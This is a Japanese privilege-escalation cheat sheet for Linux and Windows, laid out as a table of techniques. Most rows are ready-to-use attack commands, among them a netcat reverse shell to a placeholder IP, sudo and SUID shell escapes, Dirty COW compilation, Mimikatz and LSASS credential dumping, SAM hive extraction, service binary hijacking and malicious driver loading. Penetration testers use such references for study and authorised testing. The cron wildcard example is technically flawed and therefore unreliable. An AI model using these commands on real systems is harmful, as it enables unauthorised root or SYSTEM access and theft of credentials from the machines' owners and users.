権限昇格 (Privilege Escalation) チートシート

cheatsheetサイバーセキュリティ

カーネル/OSの脆弱性利用 🚨

オペレーティングシステムやカーネル自体に存在する脆弱性を悪用して権限昇格を試みます。

手法 説明 対象OS コマンド例 / チェックポイント
ローカルカーネルエクスプロイト 特定のカーネルバージョンに存在する既知の脆弱性(CVE)を悪用するコードを実行します。 Linux / Windows OSとカーネルバージョンの確認:
# Linux
uname -a
cat /etc/os-release

# Windows
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
脆弱性検索ツール (例: linux-exploit-suggester.sh, windows-exploit-suggester.py) を使用して、バージョンに対応するエクスプロイトを探します。
Dirty COW (CVE-2016-5195) 古いLinuxカーネルに存在した競合状態を利用したCopy-On-Writeメカニズムの脆弱性。読み取り専用ファイルを書き換えることが可能です。 Linux カーネルバージョンを確認し (例: 2.6.22 から 4.8.3 未満)、公開されているエクスプロイトコードをコンパイルして実行します。
# 脆弱なカーネルか確認
uname -r

# エクスプロイトコードのコンパイルと実行 (例)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty new_password

設定ミス ⚙️

システムやアプリケーションの設定不備を利用して権限昇格を試みます。

サービス/デーモン関連

手法 説明 対象OS コマンド例 / チェックポイント
書き込み可能なサービスバイナリ SYSTEM権限などで動作するサービスの実行ファイルが、低権限ユーザーによって書き換え可能な場合に、悪意のあるコードに置き換えて実行させます。 Windows サービスの実行ファイルパスと権限を確認:
# サービスの実行パス取得
Get-CimInstance -ClassName win32_service | Select Name, StartName, PathName, State | Format-List

# ファイルの権限確認 (icacls)
icacls C:\Path\To\Service.exe
書き込み権限があれば、元のファイルをバックアップし、悪意のある実行ファイル (例: リバースシェルを起動するもの) に置き換えます。その後、サービスを再起動します。
Stop-Service -Name "ServiceName"
# バイナリ置き換え
Start-Service -Name "ServiceName"
引用符で囲まれていないサービスパス サービスの実行パスがスペースを含み、かつ引用符で囲まれていない場合、Windowsはパスの途中のスペースを区切りと解釈し、意図しない実行ファイルを読み込ませることが可能です。 Windows 引用符で囲まれていないパスを持つサービスを探す:
Get-CimInstance -ClassName win32_service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | Select Name, PathName, StartName
例: `C:\Program Files\Some Service\service.exe` の場合、`C:\Program.exe` が存在すればそれが実行される可能性があります。書き込み可能な場所に悪意のあるファイル (例: `Program.exe`) を配置します。
弱いサービスパーミッション 低権限ユーザーが特定のサービスの構成(実行ファイルパス、起動アカウントなど)を変更できる権限を持っている場合に、設定を悪用します。 Windows `accesschk.exe` (Sysinternals) や PowerShell で確認:
# 例: accesschk を使用
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# PowerShell での確認 (特定のサービスに対して)
(Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName).Access | Where-Object { $_.IdentityReference -like "*Authenticated Users*" -or $_.IdentityReference -like "*Everyone*" }
`SERVICE_CHANGE_CONFIG` 権限などがあれば、`sc.exe` で設定を変更:
sc config ServiceName binPath= "C:\path\to\malicious.exe" obj= LocalSystem password= ""
sc stop ServiceName
sc start ServiceName
PATH環境変数の悪用 特権で実行されるスクリプトやプログラムが、相対パスでコマンドを呼び出しており、PATH環境変数にユーザーが書き込めるディレクトリが含まれている場合に、悪意のあるコマンドを実行させます。 Linux PATH環境変数の確認:
echo $PATH
書き込み可能なディレクトリを探す (例: `/tmp`, ホームディレクトリ内のパス):
find / -writable -type d 2>/dev/null
特権プロセスが呼び出すコマンドと同じ名前の悪意のあるスクリプトを、PATHの優先順位が高い書き込み可能なディレクトリに配置します。
sudoの設定ミス `/etc/sudoers` ファイルの設定不備により、特定のユーザーがパスワードなし (`NOPASSWD`) でコマンドを実行できたり、シェルを起動できるコマンド (`find`, `vim`, `less`, `nmap` など) を `sudo` で実行できる場合に悪用します。 Linux sudoで実行可能なコマンドの確認:
sudo -l
GTFOBins (https://gtfobins.github.io/) などを参照し、許可されたコマンドからシェルを起動する方法を探します。
# 例: find を利用
sudo find . -exec /bin/sh \; -quit

# 例: NOPASSWD で許可されたコマンド
sudo /path/to/allowed_command
SUID/SGIDビットの設定ミス SUIDビットが設定された実行ファイルは、実行したユーザーに関わらず、ファイルの所有者権限で実行されます (SGIDはグループ権限)。意図せず設定されたSUID/SGIDビットを持つファイルや、脆弱性のあるSUID/SGIDプログラムを悪用します。 Linux SUID/SGIDビットが設定されたファイルを探す:
# SUID (User)
find / -type f -perm -4000 -ls 2>/dev/null

# SGID (Group)
find / -type f -perm -2000 -ls 2>/dev/null
見つかったファイルがシェルを起動できるか (例: `bash`, `find`, `cp`, `mv`)、既知の脆弱性がないか、書き込み可能でないかを確認します。GTFOBinsも参照。
# 例: SUIDが設定された find
./find . -exec /bin/sh \; -quit
Cronジョブ/タスクスケジューラの設定ミス root権限やSYSTEM権限で定期実行されるジョブが、書き込み可能なスクリプトやディレクトリを参照している場合、そのスクリプトを書き換えるか、ワイルドカード展開などを悪用して任意のコマンドを実行させます。 Linux / Windows Cronジョブの確認 (Linux):
ls -l /etc/cron*
cat /etc/crontab
systemctl list-timers --all
タスクスケジューラの確認 (Windows):
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Get-ScheduledTaskInfo
ジョブが実行するスクリプトや、スクリプトが依存するファイル/ディレクトリの権限を確認します。
# Linux例: ワイルドカード悪用 (ジョブが /path/to/dir/* を処理する場合)
cd /path/to/dir
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f' > shell.sh
touch ./-e "cmd=bash shell.sh"
NFSの設定ミス NFS (Network File System) のエクスポート設定で `no_root_squash` オプションが有効になっている場合、クライアント側のrootユーザーがサーバー上の共有ディレクトリに対してroot権限でアクセスできます。 Linux NFS共有の確認:
showmount -e TARGET_IP
cat /etc/exports  # サーバー側の場合
`no_root_squash` が設定されている共有をマウントし、SUIDビットを設定したバイナリを配置するなどして権限昇格を試みます。
# クライアント側
mkdir /mnt/nfs_share
mount -t nfs TARGET_IP:/exported/path /mnt/nfs_share
cd /mnt/nfs_share

# SUIDバイナリ作成・配置
cp /bin/bash ./rootshell
chown root:root ./rootshell
chmod 4755 ./rootshell

# ターゲットサーバー上で実行 (他のユーザーとして)
/path/on/server/to/rootshell -p

ファイル/ディレクトリのパーミッション関連

手法 説明 対象OS コマンド例 / チェックポイント
機密ファイルへのアクセス 設定ミスにより、低権限ユーザーがパスワードハッシュ (`/etc/shadow`, SAMファイル) や設定ファイル (データベース接続情報、APIキーなど) を読み取れる場合に、その情報を利用します。 Linux / Windows 読み取り可能な機密ファイルを探す:
# Linux
ls -l /etc/shadow
find / -type f \( -name "*.conf" -o -name "*.config" -o -name "*.cnf" -o -name "*.ini" \) -readable -print 2>/dev/null
cat /etc/passwd # ワールドリーダブルは普通だが、ホームディレクトリ等の情報が得られる

# Windows (SAM/SYSTEMは通常直接読めないが、バックアップ等を探す)
dir /s /b C:\*pass*.*
dir /s /b C:\*config*.*
dir /s /b C:\Windows\repair\SAM*
dir /s /b C:\Windows\System32\config\RegBack\*
ハッシュを取得できたら、John the RipperやHashcatでクラックを試みます。
書き込み可能な重要ディレクトリ `/etc`, `C:\Windows\System32` などの重要なシステムディレクトリや、システムが読み込む設定ファイル、ライブラリパス内のディレクトリに書き込み権限がある場合、悪意のあるファイルや設定を配置します。 Linux / Windows 書き込み可能な重要ディレクトリを探す:
# Linux
find /etc /lib* /usr/lib* /bin /sbin /usr/bin /usr/sbin -writable -type d 2>/dev/null

# Windows
icacls C:\Windows\System32
icacls "C:\Program Files"
# スクリプトやツールで確認 (例: PowerUp.ps1 の Find-PathDLLHijack)
書き込める場合、設定ファイル (`/etc/passwd` にユーザー追加、DLL/ライブラリの配置など) を変更・配置して権限昇格を試みます。

認証情報/セッショントークン 🔑

システム内に残された認証情報や、現在有効なセッショントークンを窃取・悪用して権限昇格を試みます。

手法 説明 対象OS コマンド例 / チェックポイント
保存された認証情報の探索 設定ファイル、スクリプト、シェルの履歴、ブラウザの保存情報、SSHキーなどに平文や容易に復号できる形式で保存されている認証情報を探します。 Linux / Windows ファイル内の検索:
# Linux
grep -irl 'password\|passwd\|pass' /etc /var /home 2>/dev/null
find / -name id_rsa -o -name id_dsa -o -name authorized_keys 2>/dev/null
cat ~/.bash_history | grep -e '-p' -e 'pass'
cat ~/.viminfo
# その他、特定のアプリケーション設定ファイル (例: .my.cnf)

# Windows
findstr /si /m "password" C:\*.*
dir /s /b C:\Users\*id_rsa* C:\Users\*.ssh\*
# レジストリ内の探索 (例: WinSCP, PuTTY)
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# PowerShell History
Get-Content (Get-PSReadlineOption).HistorySavePath
LaZagneなどのツールも有効。
クレデンシャルダンピング システムのメモリや特定のプロセス (LSASSなど) 、または保護されたファイル (SAM, SYSTEMハイブ, /etc/shadow) からパスワードハッシュや平文パスワードを抽出します。 Linux / Windows
# Linux (要root権限)
cat /etc/shadow
unshadow /etc/passwd /etc/shadow > hashes.txt
# Windows (要管理者権限/SeDebugPrivilege)
# Mimikatz (実行ファイル or PowerShell)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" exit'

# LSASSダンプ & オフライン解析
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# mimikatzでダンプファイルを読み込む
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# SAM/SYSTEMハイブのコピー & 解析
reg save HKLM\SAM C:\sam.hive
reg save HKLM\SYSTEM C:\system.hive
# impacket-secretsdump などで解析
secretsdump.py -sam sam.hive -system system.hive LOCAL
プロセスからの情報窃取 特権で動作しているプロセスのメモリをダンプし、その中に含まれる可能性のある認証情報や機密情報を探します。 Linux / Windows
# Linux (要root権限 or ptrace権限)
# gdb でアタッチしてメモリを調べる
gdb -p PID
(gdb) find &start_addr, &end_addr, "password"
# /proc/[pid]/maps でメモリマップ確認
# /proc/[pid]/mem を直接読む (注意が必要)
# Windows (要管理者権限/SeDebugPrivilege)
# procdump でダンプ
procdump.exe -accepteula -ma [PID] process.dmp
# strings やメモリ解析ツールでダンプファイルを解析
トークン偽装/借用 (Token Impersonation/Theft) Windowsにおいて、SeImpersonatePrivilegeやSeAssignPrimaryTokenPrivilegeを持つプロセスが、他のユーザー (特に高権限ユーザー) のアクセストークンを借用または複製し、そのユーザーになりすましてプロセスを実行します。 Windows 権限の確認:
whoami /priv
Metasploit (incognitoモジュール) や Cobalt Strike、 Juicy Potato, Rotten Potato, PrintSpoofer などのツールを使用します。
# 例: PrintSpoofer (実行ファイルが必要)
PrintSpoofer.exe -i -c "cmd.exe /c whoami"
# PowerShell で利用可能な関数 (例: Invoke-TokenManipulation)
Import-Module .\PowerSploi​t.psd1
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
whoami

ソフトウェアの脆弱性利用 🔧

システム上で動作している、特権を持つ可能性のあるソフトウェア(データベース、Webサーバー、管理ツールなど)の脆弱性を悪用します。

手法 説明 対象OS コマンド例 / チェックポイント
特権ソフトウェアの脆弱性 rootやSYSTEM権限で動作しているデータベース (MySQL, PostgreSQLなど)、Webサーバー (Apache, Nginxの特定モジュール)、管理ツール、サードパーティ製ソフトウェアなどに存在する脆弱性 (SQLインジェクション、コマンドインジェクション、設定不備) を利用して、OSコマンドを実行させたり、設定を書き換えたりします。 Linux / Windows 動作中のプロセスとその権限を確認:
# Linux
ps aux | grep root
netstat -tulnp | grep LISTEN
# Windows
Get-Process -IncludeUserName | Sort-Object -Property UserName
Get-NetTCPConnection -State Listen | Select LocalAddress, LocalPort, OwningProcess
ソフトウェアのバージョンを特定し、Exploit-DBなどで既知の脆弱性 (特にローカル権限昇格につながるもの) を探します。
-- 例: MySQL UDF (User Defined Function) を利用したコマンド実行 (要FILE権限など)
SELECT sys_exec('id');
DLLハイジャック アプリケーションがDLL (Dynamic Link Library) をロードする際に、正規のパスよりも先に検索されるパス (例: アプリケーションの実行ディレクトリ、PATH環境変数内の書き込み可能なディレクトリ) に、同名の悪意のあるDLLを配置することで、それを読み込ませてコードを実行させます。特に、特権で動作するアプリケーションが対象です。 Windows Process Monitor (Sysinternals) を使用して、特権プロセスが ‘NAME NOT FOUND’ となるDLL検索を行っている箇所を探します。 書き込み可能なディレクトリでDLL検索が発生している場合、悪意のあるDLL (例: リバースシェルを起動するもの) を作成し、その場所に配置します。アプリケーションの再起動時にDLLが読み込まれます。 PowerUp.ps1 の `Find-ProcessDLLHijack` や `Find-PathDLLHijack` も有用です。

共有リソース/設定 🛡️

ドメイン環境などで共有される設定やリソースの不備を利用します。

手法 説明 対象OS コマンド例 / チェックポイント
グループポリシー設定 (GPP) グループポリシー基本設定 (Group Policy Preferences) で設定されたパスワード (特にローカル管理者パスワード変更に使われたもの) は、SYSVOL共有内のXMLファイルにAES-256で暗号化されて保存されていましたが、復号キーが公開されているため、SYSVOLへのアクセス権があればパスワードを取得できます。(MS14-025で修正済みだが、古い環境では残存の可能性) Windows (ドメイン環境) SYSVOL共有内のXMLファイルを探す:
# ドメイン名が必要
$DomainName = (Get-ADDomain).DNSRoot
$SysvolPath = "\\$DomainName\SYSVOL\$DomainName\Policies"
Get-ChildItem -Path $SysvolPath -Recurse -Include Groups.xml, Services.xml, ScheduledTasks.xml | Select-String -Pattern 'cpassword'
`cpassword` 属性の値を見つけたら、公開されているキーと復号ツール (gpp-decryptなど) を使ってパスワードを復元します。

カーネルモジュール/ドライバ 💡

脆弱な、または悪意のあるカーネルモジュールやドライバをロードさせて、カーネル空間でコードを実行します。

手法 説明 対象OS コマンド例 / チェックポイント
悪意のある/脆弱なドライバのロード 特定の権限 (例: SeLoadDriverPrivilege) があれば、カーネルドライバをロードできます。既知の脆弱性を持つ正規のドライバ (例: Capcom.sys – CVE-2016-2294) や、自身で作成した悪意のあるドライバをロードし、カーネルメモリへのアクセスやSYSTEM権限でのコード実行を狙います。 Windows / Linux 権限の確認 (Windows):
whoami /priv
脆弱なドライバのリスト (例: LOLDrivers – Living Off The Land Drivers) を参照し、利用可能なものがないか探します。 ドライバをロードするツール (kdu.exe など) や、ドライバの脆弱性を悪用する公開エクスプロイトを使用します。
# Linux (要root権限, または特定のケーパビリティ)
insmod malicious_module.ko
rmmod malicious_module
# Windows (要SeLoadDriverPrivilege)
# sc コマンドでサービスとして登録・開始
sc create MyDriver type= kernel binPath= C:\path\to\vulnerable\driver.sys
sc start MyDriver
# エクスプロイトコードを実行
# sc stop MyDriver
# sc delete MyDriver

コメント

タイトルとURLをコピーしました